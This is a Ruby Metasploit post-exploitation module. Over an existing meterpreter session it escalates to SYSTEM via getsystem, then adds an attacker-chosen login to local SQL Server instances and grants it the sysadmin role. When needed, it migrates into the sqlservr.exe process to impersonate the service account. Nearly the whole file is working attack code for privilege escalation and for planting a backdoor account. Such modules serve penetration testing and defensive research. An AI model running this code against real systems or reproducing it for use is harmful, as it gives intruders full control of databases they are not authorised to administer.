mssql_local_auth_bypass.rb

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/file'


class Metasploit3 < Msf::Post

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'SQL Server - Local Authorization Bypass - Add SYSADMIN',
				'Description'   => %q{ When this module is executed via an existing 
				meterpreter session it can be used to add a sysadmin to local 
				SQL Server instances.  It first attempts to gain LocalSystem privileges 
				using the "getsystem" escalation methods. If those privileges are not
				sufficient to add a sysadmin, then it will migrate to the SQL Server 
				service process associated with the target instance.  The sysadmin 
				login is added to the local SQL Server using native SQL clients and 
				stored procedures.  If no intance is specified then the first identified 
				instance will be used.  
				
				Why is this possible? By default in SQL Server 2k-2k8, LocalSystem  
				is assigned syadmin privileges.  Microsoft changed the default in 
				SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.
				However, this can be overcome by migrating to the SQL Server process.},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Scott Sutherland <scott.sutherland@netspi.com>'],
				'Platform'      => [ 'Windows' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))

		register_options(
			[
				OptString.new('DB_USERNAME',  [true, 'New sysadmin login', '']),
				OptString.new('DB_PASSWORD',  [true, 'Password for new sysadmin login', '']),
				OptString.new('INSTANCE',  [false, 'Name of target SQL Server instance', '']),
				OptBool.new('REMOVE_LOGIN',  [false, 'Remove DB_USERNAME login from database', 'false']),
				OptBool.new('VERBOSE',  [false, 'Set how verbose the output should be', 'false']),
			], self.class)
	end
	
	# TODO
	# - test execute thread migration option
	# - test incognito token stuff
	# - test all fucntions on all version
	# - run through ruby module validation process

	def run
				
		# Set verbosity level
		verbose = datastore['verbose'].to_s.downcase 
		
		# Set instance name (if specified)
		instance = datastore['instance'].to_s.upcase
		
		# Display target
		print_status("Running module against #{sysinfo['Computer']}")	
	
		# Get LocalSystem privileges				
		system_status = givemesystem
		if system_status[0]						
			
			# Check if a SQL Server service is running
			service_instance = check_for_sqlserver(instance)			
			if service_instance != 0
								
				# Identify available native SQL client				
				sql_client = get_sql_client()				
				if sql_client != 0
									
					# Check if remove_login was selected
					if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
											
						# Add new login						
						add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
						if add_login_status == 1
						
							# Add login to sysadmin fixed server role							
							add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
						else						
							
							if add_login_status != "userexists" then
							
								# Attempt to impersonate sql server service account (for sql server 2012)							
								impersonate_status = impersonate_sql_user(service_instance,verbose)
								if impersonate_status == 1								
									
									# Add new login						
									add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
									if add_login_status == 1
									
										# Add login to sysadmin fixed server role							
										add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)									
									end
								end
							end
						end
					else						
						
						# Remove login
						remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
						if remove_status == 0
								
							# Attempt to impersonate sql server service account (for sql server 2012)							
							impersonate_status = impersonate_sql_user(service_instance,verbose)
							if impersonate_status == 1
								
								# Remove login				
								remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
							end
						end
					end						
				end
			end
		else
			print_error("Could not obtain LocalSystem privileges")
		end
	
		# return to original priv context
		session.sys.config.revert_to_self	
	end
	
	
	## ----------------------------------------------
	## Method to check if the SQL Server service is running
	## ----------------------------------------------
	def check_for_sqlserver(instance)
	
		print_status("Checking for SQL Server...") 
		
		# Get Data
		running_services = run_cmd("net start")	
		
		# Parse Data
		services_array = running_services.split("\n")		
		
		# Check for the SQL Server service
		services_array.each do |service|		
			if instance == "" then			
				# Target default instance
				if service =~ /SQL Server \(| MSSQLSERVER/ then 					

					# Display results
					service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
					print_good("SQL Server instance found: #{service_instance}")				
					return service_instance
				end
			else
			
				# Target user defined instance
				if service =~ /#{instance}/ then 				
					
					# Display user defined instance				
					print_good("SQL Server instance found: #{instance}")				
					return instance
				end
			end
		end		
		
		# Fail
		if instance == "" then	
			print_error("SQL Server instance NOT found")		
		else
			print_error("SQL Server instance \"#{instance}\" was NOT found")		
		end
		return 0
	end

	
	## ----------------------------------------------
	## Method for identifying which SQL client to use
	## ----------------------------------------------
	def get_sql_client
	
		print_status("Checking for native client...") 
	
		# Get Data - osql
		running_services1 = run_cmd("osql -?")	
		
		# Parse Data - osql
		services_array1 = running_services1.split("\n")
		
		# Check for osql
		services_array1.each do |service1|
			if service1 =~ /SQL Server Command Line Tool/ then 
				print_good("OSQL client was found")
				return "osql"
			end
		end				
		
		# Get Data - sqlcmd
		running_services = run_cmd("sqlcmd -?")			
		
		# Parse Data - sqlcmd
		services_array = running_services.split("\n")
		
		# Check for SQLCMD
		services_array.each do |service|
			if service =~ /SQL Server Command Line Tool/ then
				print_good("SQLCMD client was found")
				return "sqlcmd"
			end
		end		
		
		# Fail
		print_error("No native SQL client was found")
		return 0
	end

	## ----------------------------------------------
	## Method for adding a login
	## ----------------------------------------------
	def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
		
		print_status("Attempting to add new login #{dbuser}...") 		
					
		# Setup command format to accomidate version inconsistencies
		if instance == ""			
			# Check default instance name
			if service_instance == "MSSQLSERVER" then
				print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true" 
				sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""	
			else
				# User defined instance
			print_status(" o  OTHER Service instance: #{service_instance}") if verbose == "true" 
			sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""	
			end
		else
			# User defined instance
			print_status(" o defined instance: #{service_instance}") if verbose == "true" 
			sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""		
		end

		# Display debugging information
		print_status("Running command:") if verbose == "true" 
		print_status("#{sqlcommand}") if verbose == "true" 
		
		# Get Data
		add_login_result = run_cmd("#{sqlcommand}")
		
		# Parse Data 
		add_login_array = add_login_result.split("\n")	
		
		# Check if user exists 
		add_login_array.each do |service|
		
			if service =~ /already exists/ then
				print_error("Unable to add login #{dbuser}, user already exists")
				return "userexists"			
			end	
		end
				
		# check for success/fail
		if add_login_result == ""
			print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")	
			return 1
		else
			print_error("Unabled to add login #{dbuser}")
			print_error("Database Error:\n #{add_login_result}")
			return 0
		end
	end
	
	
	## ----------------------------------------------
	## Method for adding a login to sysadmin role
	## ----------------------------------------------
	def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
		
		print_status("Attempting to make #{dbuser} login a sysadmin...") 
		
		# Setup command format to accomidate command inconsistencies
		if instance == ""			
			# Check default instance name
			if service_instance == "MSSQLSERVER" then												
				sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""				
			else 											
				sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
				begin select 'bingo' end \""				
			end
		else								
			sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""	
		end
	
		# Display debugging information		
		print_status("Running command:") if verbose == "true" 
		print_status("#{sqlcommand}") if verbose == "true" 
		
		# Get Data
		add_sysadmin_result = run_cmd("#{sqlcommand}")
		
		# Parse Data 
		add_sysadmin_array = add_sysadmin_result.split("\n")
		
		# Check for success
		check = 0
		add_sysadmin_array.each do |service|
			if service =~ /bingo/ then
					check = 1
			end
		end	
		
		# Display results to user
		if check == 1				
			print_good("Successfully added \"#{dbuser}\" to sysadmin role")
			return 1			
		else 		
			# Fail
			print_error("Unabled to add #{dbuser} to sysadmin role")
			print_error("Database Error:\n\n #{add_sysadmin_result}")
			return 0		
		end
	end

	
	## ----------------------------------------------
	## Method for removing login
	## ----------------------------------------------
	def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
	
		print_status("Attempting to remove login \"#{dbuser}\"")
	
		# Setup command format to accomidate command inconsistencies
		if instance == ""			
			# Check default instance name
			if service_instance == "SQLEXPRESS" then			
				# Set command here for SQLEXPRESS											
				sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS  -Q \"sp_droplogin '#{dbuser}'\""				
			else 															
				sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""				
			end
		else		
			# Set command here						
			sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
		end
		
		# Display debugging information
		print_status("Settings:") if verbose == "true" 
		print_status(" o SQL Client: #{sqlclient}") if verbose == "true" 
		print_status(" o User: #{dbuser}") if verbose == "true" 	
		print_status(" o Service instance: #{service_instance}") if verbose == "true" 
		print_status(" o User defined instance: #{instance}") if verbose == "true" 		
		print_status("Command:") if verbose == "true" 
		print_status("#{sqlcommand}") if verbose == "true" 
		
		# Get Data
		remove_login_result = run_cmd("#{sqlcommand}")
		
		# Parse Data 
		remove_login_array = remove_login_result.split("\n")
		
		# Check for success
		check = 0
		remove_login_array.each do |service|
			if service =~ // then
					check = 1
			end
		end	
		
		# Display result
		if check == 0			
			print_good("Successfully removed login \"#{dbuser}\"")	
			return 1			
		else 		
			# Fail
			print_error("Unabled to remove login #{dbuser}")
			print_error("Database Error:\n\n #{remove_login_result}")
			return 0			
		end
	end
		
	## ----------------------------------------------
	## Method for executing cmd and returning the response
	## 
	## Note: This is from one of Jabra's modules - Thanks man!
	## #craps out when escalating from local admin to system
	##----------------------------------------------
	def run_cmd(cmd,token=true)
		opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} 
		process = session.sys.process.execute(cmd, nil, opts)
		res = ""
		while (d = process.channel.read)
			break if d == ""
			res << d
		end
		process.channel.close
		process.close
		return res
	end
	
	
	## ----------------------------------------------
	## Method for impersonating sql server instance
	## ----------------------------------------------
	def impersonate_sql_user(service_instance,verbose)
	
		# Print the current user
		blah = session.sys.config.getuid if verbose == "true" 
		print_status("Current user: #{blah}") if verbose == "true" 
		
		# Define target user/pid
		targetuser = ""
		targetpid = ""

		# Identify SQL Server service processes
		print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
		session.sys.process.get_processes().each do |x|
		
			# Search for all sqlservr.exe processes
			if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")	
			
				# Found one
				print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}") 
						
				# Define target pid / user
				if x['user'] =~ /NT SERVICE/ then
					if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then						 
						targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
						targetpid = x['pid'] 					
					end
				else 					
					targetuser = x['user']
					targetpid = x['pid']
				end
			end
		end
	
		# Attempt to migrate to target sqlservr.exe process
		if targetuser == "" then
			print_error("Unable to find sqlservr.exe process not running as SYSTEM")
			return 0
		else 			
			begin
				# Migrating works, but I can't rev2self after its complete
				print_status("Attempting to migrate to process #{targetpid}...")
				session.core.migrate(targetpid.to_i)
			
				# Statusing
				blah = session.sys.config.getuid if verbose == "true" 
				print_status("Current user: #{blah}") if verbose == "true" 								
				print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
				return 1
			rescue
				print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
				return 0			
			end
		end		
	end	
	
	##
	## Check user is already system
	##
	def givemesystem
		
		# Statusing
		print_status("Checking if user is SYSTEM...")		
		
		# Check if user is system
		if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
			print_good("User is SYSTEM")
			return 1
		else			
			# Attempt to get LocalSystem privileges
			print_error("User is NOT SYSTEM")
			print_status("Attempting to get SYSTEM privileges...")
			system_status = session.priv.getsystem
			if system_status[0]			
				print_good("Success!, user is now SYSTEM")
				return 1
			else
				print_error("Unable to obtained SYSTEM privileges")
				return 0
			end
		end
	end
	
end